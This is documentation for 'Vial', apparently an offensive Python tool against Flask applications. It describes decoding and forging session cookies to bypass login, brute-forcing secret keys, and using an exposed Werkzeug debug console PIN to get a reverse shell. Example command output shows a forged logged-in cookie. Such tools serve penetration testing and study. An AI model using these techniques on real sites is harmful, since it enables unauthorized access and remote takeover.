🧪Vial

Vial is a blazing fast python framework focused on exploiting Flask applications.

It allows efficient session cookie "forging" and decoding.

It also makes it possible to automatically obtain and brute-force session keys.

🕰 Introducing: Remote Code Execution

Vial's new feature is the remote code execution utility that abuses Werkzeug's debug console, when left activated in a production environment.

The debugger's console is sometimes protected by a PIN which is generated on the server's side in a deterministic way using a combination of public and possibly private information of the server/website project itself.

To reverse the PIN these "secret" and "public" bits are required although can be obtained by exploiting other vulnerabilities such as arbitrary file read/path traversal or through phishing campaigns.

Vial also accepts already obtained application PIN. After collecting the PIN it sends a malicious request to the target forcing him to connect to a previously started TCP server giving the attacker a shell.

Usage

Vial runs as a Python module.

For a list of all possible options, run the following command

$ python -m vial

Fetching and Decoding session cookies

It is possible to locally decode session data since Flask cookies are signed rather than encrypted. For this, you can select the decode mode.

Session cookies can be obtained by inspecting HTTP requests using a proxy. The default name for the cookies is simply, "session".

python -m vial
[?] Select an action [decode/encode] decode 
[?] Enter the session cookie eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbiI6ZmFsc2UsImlhdCI6MTY3MDc5MDQyNn0.X0kPhJtL7koucxI_aRBaTee8LoTb23TaV9YteTSb9PU

{"loggedIn": false}

You can also use Vial's automatic session fetching utility by passing the --from argument.

Note Not all pages of a web application return a session. Make sure to pass a URL that does.

$ python -m vial --from "https://example.com/login" 
[?] Select an action [decode/encode] decode
[INFO] Server returned HTTP 302 (FOUND)
[INFO] Successfully fetched session cookie: 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbiI6ZmFsc2UsImlhdCI6MTY3MDc5MDQyNn0.X0kPhJtL7koucxI_aRBaTee8LoTb23TaV9YteTSb9PU 

{"loggedIn": false}

Signing (Session Forging)

Once you've obtained the server's secret key that was used to encode the session data, you'll be able to forge your own. For this, you can use the encode mode.

$ python -m vial
[?] Select an action [decode/encode] encode
[?] Enter the session data to encode "{'loggedIn': True}"
[?] Enter the secret key secret-key secret-key
[INFO] Successfully forged the cookie
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbiI6dHJ1ZSwiaWF0IjoxNjcwNzkxNTQxfQ.c1HQAnTKOcA7chGpgwEndM4kuA2O-ap_nJWdLNmijw0

Last updated